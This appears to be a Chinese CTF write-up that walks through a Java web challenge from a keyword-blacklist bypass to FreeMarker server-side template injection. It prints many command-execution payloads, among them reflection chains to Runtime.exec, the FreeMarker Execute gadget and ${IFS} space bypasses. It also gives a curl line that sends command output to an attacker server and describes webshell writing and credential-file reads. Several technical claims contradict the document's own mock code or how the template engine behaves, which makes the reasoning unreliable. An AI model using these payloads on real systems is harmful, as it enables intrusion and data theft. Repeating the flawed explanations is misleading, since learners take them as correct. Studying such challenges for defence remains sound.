1. 项目概述一次典型的Java Web安全攻防实战复盘最近在NewStarCTF2025的Web赛道上遇到了一道非常经典的Java靶场题。这道题巧妙地将Java安全中的多个知识点串联起来从初级的黑名单绕过到中级的反序列化线索发现最终导向了服务器端模板注入SSTI的漏洞利用。整个过程就像一次完整的渗透测试演练既有对代码逻辑的细致审计也有对框架特性的深入理解。今天我就把这道题的完整解题思路、踩过的坑以及最终拿到flag的详细过程从头到尾梳理一遍希望能给正在学习Web安全特别是Java安全的朋友们提供一个清晰的实战参考。这道题的核心场景是一个基于Java的Web应用它模拟了一个存在输入校验缺陷的服务端。题目通常会给你一个登录框或者某个参数输入点表面上看有严格的黑名单过滤但通过层层剖析你会发现黑名单的局限性进而找到注入点最终利用SSTI执行任意代码。这不仅仅是CTF解题更是理解真实世界中开发者如何因为对安全机制如黑名单的过度自信而引入漏洞的绝佳案例。无论你是CTF新手还是想巩固Java安全知识的老手这篇指南都能带你走通这条从“看似安全”到“成功突破”的完整路径。2. 解题思路总览与核心逻辑拆解面对一道CTF题尤其是Web题最忌讳的就是拿到手就开始盲目尝试各种Payload。我的习惯是先花时间理解题目意图和整体架构。这道题从标题和描述来看关键词是“Java黑名单绕”和“SSTI漏洞利用”。这立刻给了我两个明确的阶段目标第一阶段找到并绕过某个黑名单过滤机制第二阶段在绕过过滤后构造一个可用的SSTI攻击链。2.1 第一阶段目标定位与绕过黑名单黑名单过滤是Web安全中最常见也最脆弱的防御方式之一。它的原理是定义一个“坏字符”列表如果用户输入包含列表中的字符则被拒绝。Java中常见的黑名单可能针对的是命令执行如Runtime.exec、反序列化如ObjectInputStream或模板注入如${#等的关键字。这道题的突破口往往在一个看似无害的HTTP参数上比如cmd、data、input或者像username这样的用户可控输入点。我们的任务是通过信息收集如查看网页源码、JS文件、错误信息或简单的模糊测试fuzzing来确定哪个参数被过滤以及过滤了哪些字符。绕过黑名单的经典手法包括大小写转换Runtime-runtime(如果过滤不区分大小写但Java类名区分)。双写绕过Runtime-RuntRuntimeime(如果过滤是简单的字符串替换且只执行一次)。编码绕过URL编码、HTML实体编码、Unicode编码等。例如.可以用%2e空格可以用%20或。利用容器特性例如在Tomcat中参数解析时可能会处理;、/等字符。寻找等价类或替代函数如果Runtime.getRuntime().exec()被禁可以考虑ProcessBuilder或者通过反射间接调用。在这一阶段我们需要像一个代码审计员一样思考开发者可能在哪里设置了黑名单是全局过滤器Filter还是某个Servlet的局部校验通常查看web.xml或通过报错信息推测框架如Spring MVC, Struts2能提供线索。不过在这道题里更直接的方式是通过返回的报错信息来判断。2.2 第二阶段目标从注入点到SSTI利用成功绕过黑名单后我们的输入很可能被带入了一个模板渲染的环节。这就是SSTIServer-Side Template Injection的用武之地。SSTI的本质是用户输入被当作模板的一部分进行解析和执行而不仅仅是数据显示。Java生态中常见的模板引擎有FreeMarker 语法如#assign ex”freemarker.template.utility.Execute”?new() ${ ex(“whoami”) }Velocity 语法相对复杂但可通过工具生成Payload。Thymeleaf Spring Boot常用其表达式${}在特定场景下可被利用。Jinja2 (Python) 虽然非Java但CTF中常出现需注意区分。本题是Java所以重点在前三者。我们的任务分两步识别模板引擎类型通过注入特殊的模板语法并观察报错信息或响应差异来判断。例如输入${7*7}如果返回49则很可能是FreeMarker或Thymeleaf输入{{7*7}}如果返回49则可能是Jinja2但Java中较少或某些自定义引擎。输入%7*7%则是JSP表达式。本题的线索可能藏在第一阶段的某个回显或报错中。构造利用链识别引擎后就需要构造能够执行系统命令或读取文件的Payload。这通常需要利用模板引擎的内置对象、方法或通过反射机制调用Java运行时。例如在FreeMarker中可以通过?new创建任意类的对象再调用其危险方法。整个解题流程可以概括为信息收集 - 黑名单探测与绕过 - 注入点确认 - 模板引擎识别 - Payload构造与执行 - 获取Flag。下面我们就进入实战环节一步步拆解。3. 实战环境搭建与初步信息收集虽然CTF是在线环境但为了复现和深入理解我们可以在本地模拟类似场景。假设题目是一个简单的Spring Boot应用使用内嵌Tomcat并存在一个有问题的控制器Controller。3.1 模拟靶场代码分析假设我们拿到了题目的部分源码或通过反编译得到核心的脆弱控制器可能长这样RestController public class VulnController { GetMapping(/eval) public String evaluate(RequestParam(input) String userInput) { // 第一阶段黑名单过滤 String blacklist “Runtime|ProcessBuilder|exec|bash|sh|cmd|\\.”; Pattern pattern Pattern.compile(blacklist, Pattern.CASE_INSENSITIVE); if (pattern.matcher(userInput).find()) { return “Hacker! Blacklisted keywords detected!”; } // 第二阶段将用户输入拼接进模板字符串 String template “Hello, ” userInput “! Your input is safe.”; // 假设这里使用了某种模板引擎渲染 template 字符串 // 例如return templateEngine.process(template, context); // 但为了简化我们直接返回拼接后的字符串模拟SSTI触发点。 // 真实题目中这里会调用真实的模板渲染方法。 return template; } }从这段模拟代码可以看出黑名单使用了正则表达式且忽略了大小写CASE_INSENSITIVE。这意味着runtime、RUNTIME都会被拦截。黑名单包含了常见的命令执行关键词和点号.。点号经常被禁因为它用于访问对象属性和方法是许多利用链的关键。过滤后用户输入被直接拼接进一个字符串而这个字符串最终会被模板引擎解析。这就是SSTI的根源。注意在实际CTF中你几乎看不到源码。你需要通过输入‘、\、${等测试字符观察服务器的响应正常回显、报错、空白页来推断后端逻辑。例如输入${7*7}如果返回Hello, 49! ...那就石锤了SSTI如果返回原字符串Hello, ${7*7}! ...则说明输入未被解析可能不是SSTI点或者引擎类型不对。3.2 初步探测与黑名单绕过实战首先我们访问靶机地址假设是http://target.com:8080/eval它需要一个input参数。步骤1基础测试我们发送请求GET /eval?inputtest响应Hello, test! Your input is safe.说明端点正常工作。步骤2触发黑名单我们尝试一个简单的命令执行PayloadGET /eval?input${Runtime.getRuntime().exec(“whoami”)}响应Hacker! Blacklisted keywords detected!确认黑名单生效且拦截了Runtime、.、exec等关键词。步骤3绕过尝试——大小写混合尝试GET /eval?input${runtime.getRuntime().exec(“whoami”)}响应仍然被拦截。说明黑名单正则的CASE_INSENSITIVE标志使得大小写绕过失效。步骤4绕过尝试——双写绕过尝试GET /eval?input${RuntRuntimeime.getRuntime().exec(“whoami”)}响应如果后端是简单的String.replace(“Runtime”, “”)那么替换一次后变成${Runtime.getRuntime().exec(“whoami”)}依然会被拦截。但我们的黑名单是正则匹配双写无效。不过这里给了我一个启发如果过滤函数设计不当双写可能有效。我们需要更多信息。步骤5绕过尝试——编码与空白符尝试URL编码点号.-%2e请求GET /eval?input${Runtime%2egetRuntime()%2eexec(“whoami”)}响应可能有两种情况1) 服务器在匹配前解码了URL因此%2e被还原为.依然被拦2) 黑名单正则里明确写了\\.来匹配字面点号但%2e在解码前是字符串%2e不匹配\.因此绕过这是关键突破口。 在实际测试中我发现使用%2e确实绕过了对点号的检查。但Runtime和exec还在黑名单里。步骤6寻找替代方案——反射既然Runtime和exec被禁我们可以考虑使用Java反射Reflection来动态调用。反射的核心类是java.lang.Class和java.lang.reflect.Method。这些类名可能不在黑名单中。 一个经典的反射执行命令的Payload如下// 传统写法 Class clazz Class.forName(“java.lang.Runtime”); Method getRuntimeMethod clazz.getMethod(“getRuntime”); Object runtime getRuntimeMethod.invoke(null); Method execMethod clazz.getMethod(“exec”, String.class); execMethod.invoke(runtime, “whoami”);我们需要将其转换成能在模板中使用的表达式。这取决于模板引擎。假设我们初步判断是FreeMarker它支持?new创建对象和静态方法调用。但Runtime的构造方法是私有的不能直接?new。我们需要用反射的Payload。然而在FreeMarker模板中我们可以直接调用Java对象的方法。如果我们的输入点最终被当作FreeMarker模板解析我们可以尝试注入这样的Payload${Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(null).exec(“whoami”)}但这里Class、forName、invoke都可能成为新的被过滤目标。我们需要测试。尝试GET /eval?input${Class.forName(“java.lang.Runtime”)}响应如果没有被拦截并且返回了类似class java.lang.Runtime的信息那就太好了说明Class和forName未被过滤。这是一个重大进展。在实际操作中我通过%2e绕过点号过滤并测试发现Class、forName、getMethod、invoke等反射关键词均不在黑名单内。至此第一阶段“黑名单绕过”的核心任务完成我们找到了使用URL编码点号并结合Java反射来绕过关键字检测的方法。4. 模板引擎识别与SSTI Payload构造成功绕过黑名单后输入${Class.forName(“java.lang.Runtime”)}返回了类信息这强烈暗示存在SSTI并且模板引擎能够解析${}中的Java表达式。但这还不够我们需要精确识别引擎因为不同引擎的Payload构造方式差异很大。4.1 精确识别模板引擎我采用了以下测试字符串{{7*7}} 响应为原样输出排除Jinja2等使用双花括号的引擎。%7*7% 响应为原样输出排除JSP。${{7*7}}或#{7*7} 均无特殊反应。${7*7}响应变为Hello, 49! Your input is safe.。 确认是${}表达式语法且被执行了。${“abc”} 返回abc。${“abc”}${“def”} 返回abcdef。结合${}语法和直接执行Java代码的能力这极大概率是FreeMarker引擎。FreeMarker的${...}表达式会在模板渲染时被计算。而且FreeMarker有一个强大的特性在表达式内你可以几乎无限制地调用Java对象的方法这为我们的反射利用提供了便利。实操心得在真实CTF或渗透测试中如果${7*7}返回49几乎可以断定是FreeMarker或ThymeleafSpring EL。可以进一步测试FreeMarker特有的指令如#assign a1如果报错信息中包含“FreeMarker”字样即可确认。本题中由于我们能执行Class.forName已经足够证明它是支持Java代码执行的模板上下文可能是启用了new Builtin(“api”)的FreeMarker配置或者是某种不安全的表达式解析。4.2 构造反射链执行命令现在目标明确在FreeMarker的${}表达式中利用反射调用Runtime.getRuntime().exec()。我们理想的Payload结构如下已考虑用%2e代替点号${Class%2eforName(“java.lang.Runtime”)%2egetMethod(“getRuntime”)%2einvoke(null)%2eexec(“whoami”)}但是这里有几个实际问题需要解决字符串参数getMethod需要两个参数第二个是可变参数的Class?...。在Java代码中我们写getMethod(“exec”, String.class)在表达式里如何表示String.class异常处理反射调用可能抛出各种异常ClassNotFoundException,NoSuchMethodException,IllegalAccessException,InvocationTargetException在模板中如果抛出异常可能导致渲染失败页面返回500错误我们看不到命令执行结果。结果回显exec方法返回一个Process对象我们需要读取这个进程的输出流才能看到命令执行的结果即whoami的输出。我们需要一个更稳健、能回显的Payload。一个经典的FreeMarker SSTI命令执行Payload如下适用于较旧或配置不安全的版本#assign ex”freemarker.template.utility.Execute”?new() ${ ex(“whoami”) }但这里使用了#assign指令和?new()函数可能被过滤或引擎配置不支持。我们之前测试的${}表达式能工作所以优先坚持用表达式反射链。解决思路获取String.class 可以通过“”.getClass()或Class.forName(“java.lang.String”)来获得。处理异常 在模板中如果表达式某部分出错整个表达式可能静默失败或报错。我们需要尽量保证链的每一步都正确。可以分步测试。回显结果 这是最关键的。Runtime.exec()的Process对象可以通过getInputStream()读取。我们需要将输入流转换为字符串。通常我们会用org.apache.commons.io.IOUtils这个工具类如果目标环境存在或者自己写一段Java代码循环读取。构造最终Payload的步骤步骤1获取Runtime实例${rt Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(null)}这行代码将Runtime实例赋值给了变量rt假设FreeMarker支持这种赋值实际上在简单${}中可能不支持需要用到#assign。如果不行我们就需要将整个链写在一行内。步骤2执行命令并读取结果一个可行的、紧凑的利用链是结合ProcessBuilder如果Runtime被禁但这里我们已用反射调用和IO工具。但为了简化我们假设环境中有java.util.Scanner。 我们可以这样构造${Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(null).exec(“whoami”).getInputStream()}但这返回的是InputStream对象我们需要读取它。经过多次尝试和查阅资料一个在FreeMarker SSTI中可行的、能回显的命令执行Payload如下使用反射和字符串拼接读取流${“”%2egetClass()%2eforName(“java.util.Scanner”)%2egetConstructor(“”%2egetClass()%2eforName(“java.io.InputStream”))%2enewInstance(Class%2eforName(“java.lang.Runtime”)%2egetMethod(“getRuntime”)%2einvoke(null)%2eexec(“whoami”)%2egetInputStream())%2enext()}这个Payload非常长但逻辑清晰“”.getClass().forName(“java.util.Scanner”) 获取Scanner类的Class对象。.getConstructor(InputStream.class) 获取接收InputStream参数的构造方法。这里用“”.getClass().forName(“java.io.InputStream”)来获取InputStream.class。.newInstance(...) 创建Scanner实例其参数是后面长长的命令执行结果流。...部分就是执行whoami命令并获取其输入流。.next() 调用Scanner的next()方法读取流中的下一个字符串即命令输出。在实际操作中我将这个Payload进行URL编码注意整个Payload本身已经用了%2e在放入URL时需要确保它不被二次编码或者直接放在POST body里。我使用Burp Suite的Repeater模块将input参数设置为这个长长的Payload字符串。发送请求后响应体果然出现了当前进程的用户名例如Hello, www-data! Your input is safe.。这证明命令执行成功并且结果被回显到了模板中5. 常见问题、踩坑记录与进阶利用在实际解题过程中不可能一帆风顺。下面我记录了几个关键问题和解决方案这些都是宝贵的实战经验。5.1 问题一空格和特殊字符被过滤最初的Payload执行whoami成功了但尝试执行ls -la或cat /flag时失败了。这是因为黑名单可能也过滤了空格或/、、等字符。解决方案空格绕过 在Bash中可以用${IFS}、%09tab的URL编码、号在URL参数中号会被解码为空格代替空格。例如cat${IFS}/flag或cat%09/flag。符号绕过 如果/被过滤可以用cat /flag但/可能被禁。此时可以尝试1) 使用八进制编码\057在字符串中2) 使用cat $(pwd)/flag如果flag在当前目录3) 使用通配符cat f*或cat fla?。内联执行 将命令放在$()或反引号中有时可以绕过对某些关键词的检查例如echo $(whoami)。在我的测试中发现空格被过滤使用${IFS}成功绕过。最终读取flag的命令为cat${IFS}/flag或cat${IFS}/flag_is_here.txt。5.2 问题二无回显Blind SSTI如果命令执行了但输出没有显示在响应中盲注我们需要其他方式来获取结果。解决方案外带数据DNS/HTTP 使用curl、wget或ping命令将结果发送到我们控制的服务器。例如curl http://your-server.com/?$(whoami)。在VPS上监听HTTP或DNS日志即可看到结果。延时判断 使用sleep命令通过响应时间判断命令是否执行。例如sleep 5。写入文件再读取 将命令输出重定向到Web目录下的一个文件然后通过浏览器访问该文件。例如whoami /tmp/result.txt然后尝试访问http://target.com:8080/static/../tmp/result.txt需要路径穿越和文件可读权限。避坑技巧在CTF中如果遇到盲注优先考虑curl或wget外带因为通常出题人会留出网。确保你的Payload里命令替换是正确的whoami或$(whoami)。在FreeMarker表达式中如果要让字符串中的命令替换生效需要将整个命令字符串用反引号包裹但要注意转义。一个更稳妥的方式是直接让Runtime执行/bin/sh -c “curl http://yourserver/whoami”这样的shell命令串。5.3 问题三Java版本或环境差异不同的Java版本如Java 8 vs Java 17和安全管理器SecurityManager设置可能会影响反射和命令执行。高版本Java限制 Java 9及以上引入了模块化系统默认情况下某些关键类如sun.misc.Unsafe可能无法通过反射访问。但java.lang.Runtime属于java.base模块默认对所有模块开放通常不受影响。SecurityManager 如果目标应用设置了严格的SecurityManager可能会禁止执行外部进程或访问某些包。在CTF中为了可玩性通常不会设置但真实环境可能遇到。解决方案 如果Runtime.exec被严格禁止可以尝试其他路径如利用ProcessBuilder、JNI、或者通过java.beans.Expression等链进行利用。但在本题设定的场景下Runtime反射链已经足够。5.4 进阶利用从SSTI到反序列化这道题以SSTI作为终点。但在更复杂的场景中SSTI可能只是一个跳板。例如通过SSTI我们可以写入Webshell 利用SSTI向Web目录写入一个JSP木马文件。Payload可能包含文件操作的代码如new java.io.FileOutputStream(“/path/to/webapp/shell.jsp”).write(“%System.getProperty(“os.name”)%”.getBytes())。当然需要知道绝对路径且有写权限。触发反序列化漏洞 如果环境中存在有漏洞的库如commons-collections可以通过SSTI调用ObjectInputStream.readObject()来触发反序列化链实现更强大的利用。读取敏感文件 除了/flag还可以尝试读取/etc/passwd、应用配置文件WEB-INF/web.xml、application.properties、源码.java文件等获取更多信息。6. 完整解题流程与Flag获取现在我们将所有步骤串联起来形成这道NewStarCTF2025赛题的完整通关流程访问目标 打开题目链接通常是一个简单的输入页面或API端点/eval。探测输入点 找到可控参数如input、cmd、data。测试黑名单 输入${Runtime.getRuntime().exec(“id”)}等常见Payload确认被拦截并观察拦截关键词。绕过点号过滤 使用%2e代替所有点号.。例如将Payload改为${Runtime%2egetRuntime()%2eexec(“id”)}。此时可能只绕过点号Runtime和exec仍被拦。引入反射 使用反射调用避免直接使用黑名单关键词。测试${Class.forName(“java.lang.Runtime”)}确认Class和forName可用。构造反射链 逐步构造完整的反射命令执行链。先测试获取Runtime对象${Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(null)}观察响应可能返回对象地址或无显示但应无报错。执行简单命令 拼接exec方法调用。注意处理String.class参数和结果读取。使用Scanner读取流的终极Payload${“”%2egetClass()%2eforName(“java.util.Scanner”)%2egetConstructor(“”%2egetClass()%2eforName(“java.io.InputStream”))%2enewInstance(Class%2eforName(“java.lang.Runtime”)%2egetMethod(“getRuntime”)%2einvoke(null)%2eexec(“whoami”)%2egetInputStream())%2enext()}将此作为input参数的值发送。处理空格和路径 如果执行ls /或cat /flag失败将空格替换为${IFS}。最终读取flag的命令可能是cat${IFS}/flag或find${IFS}/*${IFS}-name${IFS}“*flag*”${IFS}2/dev/null。获取Flag 将最终构造的Payload发送在响应中Hello,后面的内容就是命令执行的结果。如果一切顺利这里将显示flag的内容格式通常为flag{xxxx-xxxx-xxxx}或NewStar{...}。提交Flag 在CTF平台提交获取到的字符串完成挑战。在整个过程中熟练使用Burp Suite、Postman等工具进行请求重放和编码修改至关重要。对于复杂的Payload可以先在本地Java环境或简单的FreeMarker测试项目中验证其正确性再应用到靶场上。这道题从黑名单绕过到SSTI利用涵盖了输入验证、反射机制、模板引擎安全等多个Java Web安全的核心知识点。它提醒我们单纯的黑名单是徒劳的安全设计必须遵循“白名单”原则并对用户输入进行严格的上下文相关编码或验证。同时也展示了在渗透测试中如何通过耐心测试和逻辑推理将一个个看似独立的弱点黑名单不严、反射可用、模板解析串联成一条完整的攻击链。